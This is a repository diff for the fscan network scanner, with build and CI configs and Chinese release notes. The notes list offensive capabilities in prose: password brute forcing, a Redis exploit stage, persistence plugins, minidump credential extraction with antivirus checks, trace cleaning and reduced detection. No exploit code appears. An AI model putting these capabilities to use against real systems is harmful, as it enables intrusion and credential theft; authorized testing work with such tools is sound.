goarch: [amd64, arm64, "386", arm, mips, mips64, mipsle]
|
||||
goarm: ["5", "6", "7"]
|
||||
gomips: [softfloat]
|
||||
ignore:
|
||||
- goos: darwin
|
||||
goarch: "386"
|
||||
- goos: darwin
|
||||
goarch: arm
|
||||
- goos: darwin
|
||||
goarch: mips
|
||||
- goos: darwin
|
||||
goarch: mips64
|
||||
- goos: darwin
|
||||
goarch: mipsle
|
||||
- goos: windows
|
||||
goarch: arm64
|
||||
- goos: windows
|
||||
goarch: arm
|
||||
- goos: windows
|
||||
goarch: mips
|
||||
- goos: windows
|
||||
goarch: mips64
|
||||
- goos: windows
|
||||
goarch: mipsle
|
||||
- goos: freebsd
|
||||
goarch: mips
|
||||
- goos: freebsd
|
||||
goarch: mips64
|
||||
- goos: freebsd
|
||||
goarch: mipsle
|
||||
- goos: solaris
|
||||
goarch: "386"
|
||||
- goos: solaris
|
||||
goarch: arm
|
||||
- goos: solaris
|
||||
goarch: arm64
|
||||
- goos: solaris
|
||||
goarch: mips
|
||||
- goos: solaris
|
||||
goarch: mips64
|
||||
- goos: solaris
|
||||
goarch: mipsle
|
||||
flags: [-trimpath]
|
||||
tags: [no_local]
|
||||
ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }}
|
||||
mod_timestamp: "{{ .CommitTimestamp }}"
|
||||
|
||||
# WebUI版 - 主流平台即可
|
||||
- id: fscan-web
|
||||
binary: fscan
|
||||
main: .
|
||||
env:
|
||||
- CGO_ENABLED=0
|
||||
goos: [windows, linux, darwin]
|
||||
goarch: [amd64, arm64, "386"]
|
||||
goarm: ["7"]
|
||||
ignore:
|
||||
- goos: darwin
|
||||
goarch: "386"
|
||||
- goos: windows
|
||||
goarch: arm64
|
||||
flags: [-trimpath]
|
||||
tags: [web]
|
||||
ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }}
|
||||
mod_timestamp: "{{ .CommitTimestamp }}"
|
||||
|
||||
upx:
|
||||
-
|
||||
ids: [ default ]
|
||||
- ids: [fscan, fscan-nolocal, fscan-web]
|
||||
enabled: true
|
||||
goos: ["windows", "linux"]
|
||||
goarch: ["amd64", "386"]
|
||||
goos: [windows, linux, freebsd]
|
||||
goarch: [amd64, "386", arm, arm64, mips, mipsle]
|
||||
compress: best
|
||||
# lzma: true
|
||||
# brute: true
|
||||
brute: false
|
||||
lzma: false
|
||||
|
||||
archives:
|
||||
-
|
||||
# 标准版归档
|
||||
- id: fscan
|
||||
builds: [fscan]
|
||||
format: binary
|
||||
allow_different_binary_count: true
|
||||
name_template: >-
|
||||
{{- .ProjectName }}
|
||||
{{- if eq .Os "darwin"}}_mac
|
||||
{{- else if eq .Os "linux"}}
|
||||
{{- else if eq .Os "windows"}}
|
||||
{{- else }}_{{ .Os }}{{ end }}
|
||||
{{- if eq .Arch "amd64" }}
|
||||
{{- else if eq .Arch "386" }}32
|
||||
{{- else }}_{{ .Arch }}{{ end }}
|
||||
{{- if .Arm }}v{{ .Arm }}{{ end -}}
|
||||
fscan_{{ .Version }}_
|
||||
{{- if eq .Os "darwin" }}mac
|
||||
{{- else }}{{ .Os }}{{ end }}_
|
||||
{{- if eq .Arch "amd64" }}x64
|
||||
{{- else if eq .Arch "386" }}x32
|
||||
{{- else }}{{ .Arch }}{{ end }}
|
||||
{{- if .Arm }}v{{ .Arm }}{{ end }}
|
||||
|
||||
# 无本地插件版归档
|
||||
- id: fscan-nolocal
|
||||
builds: [fscan-nolocal]
|
||||
format: binary
|
||||
allow_different_binary_count: true
|
||||
name_template: >-
|
||||
fscan-nolocal_{{ .Version }}_
|
||||
{{- if eq .Os "darwin" }}mac
|
||||
{{- else }}{{ .Os }}{{ end }}_
|
||||
{{- if eq .Arch "amd64" }}x64
|
||||
{{- else if eq .Arch "386" }}x32
|
||||
{{- else }}{{ .Arch }}{{ end }}
|
||||
{{- if .Arm }}v{{ .Arm }}{{ end }}
|
||||
|
||||
# WebUI版归档
|
||||
- id: fscan-web
|
||||
builds: [fscan-web]
|
||||
format: binary
|
||||
allow_different_binary_count: true
|
||||
name_template: >-
|
||||
fscan-web_{{ .Version }}_
|
||||
{{- if eq .Os "darwin" }}mac
|
||||
{{- else }}{{ .Os }}{{ end }}_
|
||||
{{- if eq .Arch "amd64" }}x64
|
||||
{{- else if eq .Arch "386" }}x32
|
||||
{{- else }}{{ .Arch }}{{ end }}
|
||||
{{- if .Arm }}v{{ .Arm }}{{ end }}
|
||||
|
||||
checksum:
|
||||
name_template: 'checksums.txt'
|
||||
snapshot:
|
||||
name_template: "{{ incpatch .Version }}-next"
|
||||
algorithm: sha256
|
||||
|
||||
changelog:
|
||||
sort: asc
|
||||
use: github
|
||||
filters:
|
||||
exclude:
|
||||
- '^docs:'
|
||||
- '^test:'
|
||||
- "^*.md"
|
||||
- "^*.ya?ml"
|
||||
- "^(docs|test|ci|chore):"
|
||||
- "Merge (pull request|branch)"
|
||||
groups:
|
||||
- title: "🚀 新功能"
|
||||
regexp: "^.*feat[(\\w)]*:+.*$"
|
||||
order: 0
|
||||
- title: "🐛 问题修复"
|
||||
regexp: "^.*fix[(\\w)]*:+.*$"
|
||||
order: 1
|
||||
- title: "🔧 其他改进"
|
||||
order: 999
|
||||
|
||||
release:
|
||||
github:
|
||||
owner: "{{ .Env.GITHUB_OWNER }}"
|
||||
name: "{{ .Env.GITHUB_REPO }}"
|
||||
draft: false
|
||||
prerelease: auto
|
||||
mode: replace
|
||||
header: |
|
||||
## {{ .ProjectName }} {{ .Tag }}
|
||||
|
||||
感谢使用 {{ .ProjectName }}!
|
||||
|
||||
### 版本说明
|
||||
|
||||
| 版本 | 说明 |
|
||||
|------|------|
|
||||
| **fscan** | 标准版,包含全部插件(推荐) |
|
||||
| **fscan-nolocal** | 精简版,不含本地模块(体积更小) |
|
||||
| **fscan-web** | WebUI版,带Web管理界面(主流平台) |
|
||||
|
||||
### 平台支持
|
||||
|
||||
| 平台 | 架构 |
|
||||
|------|------|
|
||||
| Linux | x64, x32, arm64, armv5, armv6, armv7, mips, mips64, mipsle |
|
||||
| Windows | x64, x32 |
|
||||
| macOS | x64, arm64 |
|
||||
| FreeBSD | x64, x32, arm64, armv5, armv6, armv7 |
|
||||
| Solaris | x64 |
|
||||
footer: |
|
||||
**完整更新日志**: https://github.com/{{ .Env.GITHUB_OWNER }}/{{ .Env.GITHUB_REPO }}/compare/{{ .PreviousTag }}...{{ .Tag }}
|
||||
|
||||
snapshot:
|
||||
name_template: "{{ incpatch .Version }}-dev-{{ .ShortCommit }}"
|
||||
|
||||
metadata:
|
||||
mod_timestamp: "{{ .CommitTimestamp }}"
|
||||
|
||||
@@ -0,0 +1,117 @@
|
||||
# fscan v2.2.0-rc.1
|
||||
|
||||
> ⚠️ **这是预发布版本 (Release Candidate)**,可能存在未发现的问题。
|
||||
> 如果你在使用中遇到任何异常,请积极通过 [Issue](https://github.com/shadow1ng/fscan/issues/new/choose) 反馈,帮助我们尽快稳定正式版。
|
||||
> 生产环境建议继续使用 [v2.1.3](https://github.com/shadow1ng/fscan/releases/tag/v2.1.3)。
|
||||
|
||||
---
|
||||
|
||||
## 与 v2.2.0-rc 的变更
|
||||
|
||||
本版本基于大量实机测试反馈,**修复 30+ 个问题,新增自适应扫描系统**。183 个文件变更。
|
||||
|
||||
---
|
||||
|
||||
### 🚀 新功能
|
||||
|
||||
#### 自适应并发调度
|
||||
|
||||
扫描前自动探测网络环境(RTT、丢包率、fd limit),基于探测数据推导关键参数,替代硬编码默认值:
|
||||
|
||||
- **Timeout**: `median_RTT + 4σ`(覆盖 99.9% 正常连接),下限 1s,上限 10s
|
||||
- **ModuleThreadNum**: `ThreadNum / 30`,下限 5,上限 50
|
||||
- **MaxRetries**: 基于丢包率推导,保证全失败概率 <1%
|
||||
- **ICMPRate / PocNum**: 跟随环境和并发自动调整
|
||||
|
||||
线程池升级为 **AIMD + 慢启动**:慢启动阶段 500ms 翻倍,稳态 AIMD(健康 +5%,拥塞 ×0.5),双信号(资源耗尽率 + RTT 趋势)驱动。
|
||||
|
||||
#### 协议级超时下限(ModuleTimeout)
|
||||
|
||||
新增 `Config.ModuleTimeout()` 方法,保证插件级交互超时不低于 3s。自适应系统将端口扫描超时压到 1s 时,SSH 握手、SNMP 探测、数据库认证等多轮交互协议不再受影响。全部 44 个服务插件已迁移。
|
||||
|
||||
#### 限流错误分类(ErrorTypeThrottle)
|
||||
|
||||
新增 `ErrorTypeThrottle` 错误类型,区分服务端限流(SSH MaxStartups 等)和真正的网络不可达。限流错误不计入连续失败计数,触发 500ms 退避后继续,避免误判目标不可达而提前放弃。
|
||||
|
||||
#### Web 版独立入口
|
||||
|
||||
- 拆分 `main.go` 为 `main_cli.go` 和 `main_web.go`
|
||||
- Web 版结果存储从内存替换为 SQLite 持久化(纯 Go 零 CGO)
|
||||
|
||||
---
|
||||
|
||||
### 🐛 Bug 修复
|
||||
|
||||
#### 插件调度(#586 #587 #588)
|
||||
|
||||
- **非标准端口服务无法匹配插件** — SSH 在 8881 端口,端口匹配失败导致插件不执行。新增服务名称缓存 + 指纹驱动回退匹配 (#588)
|
||||
- **移除误导性的"无可用插件"日志** — 预检基于静态端口匹配,不代表实际不执行 (#588)
|
||||
- **默认扫描 POC 结果缺失** — `executeRules` 返回空 `vulName` 导致检测结果被丢弃 (#586)
|
||||
- **批量扫描(-hf)POC 缺失** — 并发压力下 HTTP 请求瞬时失败未重试,跳过指纹识别和 POC 触发。加入指数退避重试 (#587)
|
||||
- **UDP 插件在 `-p` 指定端口时被跳过** — 现在按用户指定端口过滤并正确调度
|
||||
- **`-full` 模式下 Web 插件跳过 `IsMarkedWebService` 检查**
|
||||
- **不确定服务补做 HTTP 回退探测**,覆盖自定义 HTTP 框架漏网场景
|
||||
|
||||
#### UDP 插件
|
||||
|
||||
- **UDP 插件阻塞导致扫描无法结束** — `conn.Read()` 在目标不响应时无限阻塞。所有 UDP 插件(SNMP/BACnet/DNS/IPMI/TFTP)统一使用 context timeout + conn.Close 双保险
|
||||
- **SNMP community 爆破混入通用密码字典** — 57 个通用密码串行探测导致 10 分钟阻塞,精简为 8 个专用 community
|
||||
|
||||
#### SSH
|
||||
|
||||
- **SSH goroutine 泄漏** — `ssh.NewClientConn` 不接受 context,context 取消后底层 TCP 连接未关闭,大规模扫描时泄漏数万 goroutine
|
||||
- **SSH 握手无 TCP deadline 兜底** — 在 `NewClientConn` 前设置 deadline,握手成功后清除
|
||||
- **SSH 爆破并发过高** — 从 30 降至 3,避免触发 OpenSSH MaxStartups 限流
|
||||
|
||||
#### Redis
|
||||
|
||||
- **Redis exploit 无超时保护** — exploit 阶段移除了全部 deadline,改为 30s 超时
|
||||
- **Redis readReply 吞没非超时错误** — 现在仅对 timeout 类型错误做容忍
|
||||
|
||||
#### POC 引擎
|
||||
|
||||
- **DetectPocFormat 误判含 transport 的 fscan POC 为 xray 格式** — 修复后 388 个 POC 全部正确加载(之前 8 个失败)
|
||||
- **CEL clustersend 结果判断错误** — 从字符串比较改为类型断言
|
||||
- **CEL wait() 函数 nil Reverse 指针 panic**
|
||||
- **reverseCheck 无超时** — 加 10s 超时防止 ceye API 阻塞
|
||||
- **正则编译结果未缓存** — `doSearch`/`bmatches` 缓存到 `sync.Map`
|
||||
|
||||
#### 参数与输出
|
||||
|
||||
- **`-gt` 全局超时参数是死代码** — 现在真正生效,超时后取消所有扫描任务
|
||||
- **`-nopoc` 禁用 POC 时仍输出错误日志** — 已修复
|
||||
- **`-debug` 日志文件写入失败** — `applyLogLevel` 重建 Logger 时丢失 `DebugLogFile` 配置
|
||||
- **`-hash` 不支持 LM:NT 格式** — 现在支持 `aad3b435b51404ee:31d6cfe0d16ae931...` 标准格式
|
||||
- **`-pwd` 不支持逗号分隔多个密码** — 现在 `-pwd "123,456,root"` 正确拆分
|
||||
- **`-nobr` 跳过了 Redis 未授权检测** — 未授权是服务探测不是爆破,不受 `-nobr` 影响
|
||||
- **非终端输出时 ANSI 控制码覆盖扫描结果** — 管道/重定向时自动禁用进度条和颜色
|
||||
- **静默模式 NDJSON banner 过长** — Redis INFO ~5KB 截断至 200 字符
|
||||
- **CSV 漏洞 Type 列为空** — 补全 `type` 字段
|
||||
- **SNMP 探测成功但终端无输出** — 补充 `session.LogVuln` 调用
|
||||
|
||||
#### 其他
|
||||
|
||||
- **service_probe 连接丢失后静默成功** — `Write`/`Read` 在 `Conn=nil` 时返回明确错误
|
||||
- **MongoDB readMongoMsg 未设置读超时**
|
||||
- **TXTWriter.Close Sync 失败后未关闭文件**
|
||||
- **MySQL 3306 服务名误识别为 genetec-5400** — nmap 指纹库误匹配,通过 banner 特征校正
|
||||
- **gmtls stdout 竞态** — 移除 `os.Stdout` 非同步重定向
|
||||
|
||||
---
|
||||
|
||||
### 🏗️ 架构优化
|
||||
|
||||
- **统一服务缓存** — `webServiceCache` 扩展为通用 `serviceCache`,下沉到 per-session State,消除多实例缓存串台
|
||||
- **CEL 表达式编译缓存** — 同一 POC 的所有规则共享编译后的 Program
|
||||
- **POC 全局状态消除** — `allPocs` 全局变量改为 `pocStore` 按 PocPath 缓存,并发场景不再互相覆盖
|
||||
- **进度条竞态修复** — `isActive` 改为 `atomic.Bool`
|
||||
- **Lint 全量修复** — cassandra/ipmi/mongodb/webscan 的 ineffassign、unused、errcheck
|
||||
|
||||
---
|
||||
|
||||
## 反馈与贡献
|
||||
|
||||
- 🐛 发现 Bug → [提交 Bug 报告](https://github.com/shadow1ng/fscan/issues/new?template=bug_report.yml)
|
||||
- 🎯 结果不准 → [提交误报/漏报](https://github.com/shadow1ng/fscan/issues/new?template=false_positive.yml)
|
||||
- ✨ 功能建议 → [提交功能请求](https://github.com/shadow1ng/fscan/issues/new?template=feature_request.yml)
|
||||
- 💬 使用疑问 → [Discussions](https://github.com/shadow1ng/fscan/discussions)
|
||||
@@ -0,0 +1,106 @@
|
||||
# fscan v2.2.0-rc
|
||||
|
||||
> ⚠️ **这是预发布版本 (Release Candidate)**,可能存在未发现的问题。
|
||||
> 如果你在使用中遇到任何异常,请积极通过 [Issue](https://github.com/shadow1ng/fscan/issues/new/choose) 反馈,帮助我们尽快稳定正式版。
|
||||
> 生产环境建议继续使用 [v2.1.3](https://github.com/shadow1ng/fscan/releases/tag/v2.1.3)。
|
||||
|
||||
---
|
||||
|
||||
## 与 v2.1.3 的主要变更
|
||||
|
||||
### 🏗️ 架构升级:嵌入式 Scanner SDK
|
||||
|
||||
新增 `pkg/fscan` 包,fscan 从纯 CLI 工具进化为**可嵌入的扫描引擎**。
|
||||
|
||||
- 支持从其他 Go 程序直接调用 fscan 扫描能力
|
||||
- 每个 Scanner 实例拥有独立的 config/state/session
|
||||
- 支持多实例并发扫描,日志和结果完全隔离
|
||||
- 全局状态已完整迁移到 session 实例
|
||||
|
||||
### 🚀 大规模扫描支持
|
||||
|
||||
- **流式 Host Iterator** — /8 级别 CIDR 不再一次性展开到内存
|
||||
- **移除 MaxHosts 硬限制** — 大网段不再被静默截断
|
||||
- **ARM 原子计数器对齐** — 修复 32 位 ARM 平台 panic
|
||||
|
||||
### 🔌 新增协议插件(+9)
|
||||
|
||||
| 插件 | 用途 |
|
||||
|------|------|
|
||||
| IMAP / POP3 | 邮件服务器检测 |
|
||||
| JDWP | Java Debug 端口检测 |
|
||||
| NFS / RMI | 文件共享 / Java 远程调用 |
|
||||
| IPMI | 服务器带外管理 |
|
||||
| SNMP (UDP) | 网络设备管理 |
|
||||
| DNS / BACnet / Modbus | DNS 服务 / 工控协议 |
|
||||
|
||||
全部为**原生协议实现**,零外部依赖。
|
||||
|
||||
### ⚡ 性能与体积优化
|
||||
|
||||
- Kafka/MongoDB/Cassandra 从重型客户端库改为 raw TCP 实现,**二进制体积减小**
|
||||
- 热路径零分配、自适应连接池 CAS 无锁化
|
||||
- Scanner 客户端指纹收敛(降低被检测概率)
|
||||
|
||||
### 🌐 网络能力增强
|
||||
|
||||
- **SOCKS5 代理认证**支持(用户名/密码)
|
||||
- **国密 TLS**(SM2/SM3/SM4)网站扫描
|
||||
- 支持 `-add-password` 追加多个自定义密码
|
||||
|
||||
### 🔧 本地后渗透插件
|
||||
|
||||
- 新增 sshkey、4 种持久化插件(crontask/systemd/winregistry/winschtask)
|
||||
- minidump 降级链凭据提取 + 杀软前置检测
|
||||
- cleaner 清理所有持久化痕迹
|
||||
- systeminfo 整合合并(fileinfo/dcinfo/avdetect/envinfo)
|
||||
|
||||
### 📦 工程改进
|
||||
|
||||
- 目录重命名:`WebScan/` → `webscan/`、`mylib/` → `libs/`
|
||||
- i18n 覆盖扩展(中/英双语)
|
||||
- 全量 lint/errcheck 修复
|
||||
- 补充大量单元测试
|
||||
|
||||
---
|
||||
|
||||
## ⚠️ 已知问题 / 注意事项
|
||||
|
||||
| 问题 | 说明 |
|
||||
|------|------|
|
||||
| SDK 并发限速共享 | `CanSendPacket()` 全局限速器在多 Scanner 实例间共享(按进程限速,非按实例) |
|
||||
| CEL 回连验证走全局 | DNSLog 反连检测的 HTTP 请求计数走全局 state(影响可忽略) |
|
||||
| 本地插件仅限授权场景 | 持久化/minidump/shell 类插件仅用于授权渗透测试 |
|
||||
| WebUI 为实验性功能 | `fscan-web` 版本的 Web 界面尚未完善 |
|
||||
| `common` 包未完全拆分 | 内部架构的 common 包职责仍较重,后续版本持续优化 |
|
||||
|
||||
---
|
||||
|
||||
## 反馈与贡献
|
||||
|
||||
这是一个 RC 版本,我们非常需要你的反馈:
|
||||
|
||||
- 🐛 发现 Bug → [提交 Bug 报告](https://github.com/shadow1ng/fscan/issues/new?template=bug_report.yml)
|
||||
- 🎯 结果不准 → [提交误报/漏报](https://github.com/shadow1ng/fscan/issues/new?template=false_positive.yml)
|
||||
- ✨ 功能建议 → [提交功能请求](https://github.com/shadow1ng/fscan/issues/new?template=feature_request.yml)
|
||||
- 💬 使用疑问 → [Discussions](https://github.com/shadow1ng/fscan/discussions)
|
||||
|
||||
---
|
||||
|
||||
## 版本说明
|
||||
|
||||
| 版本 | 说明 |
|
||||
|------|------|
|
||||
| **fscan** | 标准版,包含全部插件(推荐) |
|
||||
| **fscan-nolocal** | 精简版,不含本地后渗透模块(体积更小) |
|
||||
| **fscan-web** | WebUI版,带 Web 管理界面(主流平台) |
|
||||
|
||||
## 平台支持
|
||||
|
||||
| 平台 | 架构 |
|
||||
|------|------|
|
||||
| Linux | x64, x32, arm64, armv5/6/7, mips, mips64, mipsle |
|
||||
| Windows | x64, x32 |
|
||||
| macOS | x64 (Intel), arm64 (Apple Silicon) |
|
||||
| FreeBSD | x64, x32, arm64, armv5/6/7 |
|
||||
| Solaris | X64n |
|
||||
@@ -0,0 +1,81 @@
|
||||
name: Project 自动化
|
||||
|
||||
on:
|
||||
issues:
|
||||
types: [opened, closed, reopened]
|
||||
|
||||
env:
|
||||
PROJECT_URL: https://github.com/users/shadow1ng/projects/1
|
||||
|
||||
jobs:
|
||||
# Issue/PR 创建时添加到 Project,状态设为"要搞"
|
||||
add-to-project:
|
||||
if: github.event.action == 'opened'
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Add to project
|
||||
uses: actions/[email protected]
|
||||
id: add
|
||||
with:
|
||||
project-url: ${{ env.PROJECT_URL }}
|
||||
github-token: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
- name: Set status to 要搞
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
gh project item-edit \
|
||||
--project-id PVT_kwHOAl0Kfs4BCgG2 \
|
||||
--id ${{ steps.add.outputs.itemId }} \
|
||||
--field-id PVTSSF_lAHOAl0Kfs4BCgG2zg0sX8A \
|
||||
--single-select-option-id f75ad846
|
||||
|
||||
# Issue/PR 关闭时状态设为"搞定"
|
||||
close-item:
|
||||
if: github.event.action == 'closed'
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get item ID
|
||||
id: get-item
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
ITEM_ID=$(gh project item-list 1 --owner shadow1ng --format json | \
|
||||
jq -r '.items[] | select(.content.number == ${{ github.event.issue.number || github.event.pull_request.number }}) | .id')
|
||||
echo "item_id=$ITEM_ID" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Set status to 搞定
|
||||
if: steps.get-item.outputs.item_id != ''
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
gh project item-edit \
|
||||
--project-id PVT_kwHOAl0Kfs4BCgG2 \
|
||||
--id ${{ steps.get-item.outputs.item_id }} \
|
||||
--field-id PVTSSF_lAHOAl0Kfs4BCgG2zg0sX8A \
|
||||
--single-select-option-id 98236657
|
||||
|
||||
# Issue/PR 重新打开时状态设为"在搞"
|
||||
reopen-item:
|
||||
if: github.event.action == 'reopened'
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get item ID
|
||||
id: get-item
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
ITEM_ID=$(gh project item-list 1 --owner shadow1ng --format json | \
|
||||
jq -r '.items[] | select(.content.number == ${{ github.event.issue.number || github.event.pull_request.number }}) | .id')
|
||||
echo "item_id=$ITEM_ID" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Set status to 在搞
|
||||
if: steps.get-item.outputs.item_id != ''
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
gh project item-edit \
|
||||
--project-id PVT_kwHOAl0Kfs4BCgG2 \
|
||||
--id ${{ steps.get-item.outputs.item_id }} \
|
||||
--field-id PVTSSF_lAHOAl0Kfs4BCgG2zg0sX8A \
|
||||
--single-select-option-id 47fc9ee4
|
||||
@@ -1,43 +1,72 @@
|
||||
name: goreleaser
|
||||
name: 发布
|
||||
|
||||
on:
|
||||
push:
|
||||
tags:
|
||||
- '*'
|
||||
- 'v*'
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
snapshot:
|
||||
description: '仅测试构建(不发布)'
|
||||
type: boolean
|
||||
default: false
|
||||
draft:
|
||||
description: '创建草稿发布'
|
||||
type: boolean
|
||||
default: false
|
||||
|
||||
permissions:
|
||||
contents: write
|
||||
|
||||
env:
|
||||
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
|
||||
|
||||
jobs:
|
||||
goreleaser:
|
||||
release:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 60
|
||||
timeout-minutes: 90
|
||||
|
||||
steps:
|
||||
- name: "Check out code"
|
||||
uses: actions/checkout@v3
|
||||
- name: 检出代码
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: "Set up Go"
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: 1.20.14
|
||||
-
|
||||
name: Install UPX
|
||||
uses: crazy-max/ghaction-upx@v3
|
||||
with:
|
||||
install-only: true
|
||||
- name: 准备 Release Notes
|
||||
if: ${{ !inputs.snapshot }}
|
||||
run: |
|
||||
TAG="${GITHUB_REF_NAME}"
|
||||
NOTES_FILE=".github/release-notes/${TAG}.md"
|
||||
|
||||
- name: UPX version
|
||||
run: upx --version
|
||||
if [ -f "$NOTES_FILE" ]; then
|
||||
echo "📝 找到版本 Release Notes: $NOTES_FILE"
|
||||
cp "$NOTES_FILE" /tmp/release-notes.md
|
||||
else
|
||||
echo "⚠️ 未找到 $NOTES_FILE,使用自动生成的 changelog"
|
||||
echo "" > /tmp/release-notes.md
|
||||
fi
|
||||
|
||||
-
|
||||
name: "Create release on GitHub"
|
||||
uses: goreleaser/goreleaser-action@v4
|
||||
echo "RELEASE_NOTES_FILE=/tmp/release-notes.md" >> $GITHUB_ENV
|
||||
|
||||
- name: 构建和发布
|
||||
uses: ./.github/actions/build-release
|
||||
with:
|
||||
distribution: goreleaser
|
||||
version: latest
|
||||
args: "release --clean --debug -f .github/conf/.goreleaser.yml"
|
||||
workdir: .
|
||||
mode: ${{ inputs.snapshot && 'snapshot' || 'release' }}
|
||||
go-version: '1.25'
|
||||
retention-days: '90'
|
||||
release-args: ${{ inputs.draft && '--draft' || '' }}
|
||||
|
||||
- name: 更新 Release Notes
|
||||
if: ${{ !inputs.snapshot && env.RELEASE_NOTES_FILE != '' }}
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
GH_TOKEN: ${{ github.token }}
|
||||
run: |
|
||||
TAG="${GITHUB_REF_NAME}"
|
||||
NOTES_FILE="${RELEASE_NOTES_FILE}"
|
||||
|
||||
if [ -s "$NOTES_FILE" ]; then
|
||||
echo "📝 更新 Release Notes..."
|
||||
# 用版本特定的 notes 替换 goreleaser 生成的 body
|
||||
gh release edit "$TAG" --notes-file "$NOTES_FILE"
|
||||
echo "✅ Release Notes 已更新"
|
||||
fi
|
||||
|
||||
@@ -0,0 +1,192 @@
|
||||
name: 测试构建
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
- dev
|
||||
- dev-*
|
||||
- develop
|
||||
- feature/*
|
||||
paths-ignore:
|
||||
- '*.md'
|
||||
- '*.txt'
|
||||
- 'README*'
|
||||
- 'LICENSE*'
|
||||
- 'image/**'
|
||||
- 'TestDocker/**'
|
||||
- '**/*.png'
|
||||
- '**/*.jpg'
|
||||
- '**/*.jpeg'
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
- master
|
||||
- dev
|
||||
paths-ignore:
|
||||
- '*.md'
|
||||
- '*.txt'
|
||||
- 'README*'
|
||||
- 'LICENSE*'
|
||||
- 'image/**'
|
||||
- 'TestDocker/**'
|
||||
- '**/*.png'
|
||||
- '**/*.jpg'
|
||||
- '**/*.jpeg'
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
env:
|
||||
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
|
||||
|
||||
jobs:
|
||||
lint:
|
||||
name: 代码检查
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 10
|
||||
|
||||
steps:
|
||||
- name: 检出代码
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: 设置 Go 环境
|
||||
uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version: '1.25'
|
||||
cache: true
|
||||
|
||||
- name: 运行 golangci-lint
|
||||
run: |
|
||||
# 安装 golangci-lint v2 (需 Go 1.22+,仅用于静态分析,不影响二进制兼容性)
|
||||
go install github.com/golangci/golangci-lint/v2/cmd/[email protected]
|
||||
|
||||
# 运行检查
|
||||
golangci-lint run --timeout=5m > lint_output.txt 2>&1 || true
|
||||
cat lint_output.txt
|
||||
|
||||
# 过滤非关键问题(复杂度建议和 staticcheck 风格建议不阻塞 CI)
|
||||
CRITICAL=$(grep -E "\.go:[0-9]+:[0-9]+:" lint_output.txt \
|
||||
| grep -vE "gocognit|gocyclo|QF[0-9]+| S[0-9]+|ST[0-9]+" || true)
|
||||
if [ -n "$CRITICAL" ]; then
|
||||
echo "❌ Linting failed with critical issues:"
|
||||
echo "$CRITICAL" | head -20
|
||||
exit 1
|
||||
fi
|
||||
echo "✅ Lint 检查通过"
|
||||
|
||||
- name: 检查代码复杂度(质量门禁)
|
||||
run: |
|
||||
echo "### 🚦 复杂度质量门禁" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
# 检查认知复杂度>80的函数
|
||||
COMPLEX_FUNCS=$(golangci-lint run --disable-all --enable=gocognit --out-format=line-number 2>&1 | grep "cognitive complexity" | grep -v "typechecking" || true)
|
||||
|
||||
if [ -n "$COMPLEX_FUNCS" ]; then
|
||||
HIGH_COMPLEX=$(echo "$COMPLEX_FUNCS" | awk '{print $NF}' | sed 's/[()]//g' | awk -F'>' '{if ($1 > 80) print}' | wc -l)
|
||||
|
||||
if [ "$HIGH_COMPLEX" -gt 0 ]; then
|
||||
echo "❌ **发现 $HIGH_COMPLEX 个复杂度>80的函数**" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo '```' >> $GITHUB_STEP_SUMMARY
|
||||
echo "$COMPLEX_FUNCS" | awk '{print $NF}' | sed 's/[()]//g' | awk -F'>' '{if ($1 > 80) print "复杂度:", $1, "- 必须重构"}' >> $GITHUB_STEP_SUMMARY
|
||||
echo '```' >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo "⚠️ 请重构复杂度>80的函数后再提交" >> $GITHUB_STEP_SUMMARY
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
echo "✅ 代码复杂度检查通过(所有函数≤80)" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
test:
|
||||
name: 单元测试和构建
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 10
|
||||
needs: lint
|
||||
|
||||
steps:
|
||||
- name: 检出代码
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: 设置 Go 环境
|
||||
uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version: '1.25'
|
||||
cache: true
|
||||
|
||||
- name: 下载依赖
|
||||
run: |
|
||||
go mod download
|
||||
go mod verify
|
||||
|
||||
- name: 运行测试
|
||||
run: |
|
||||
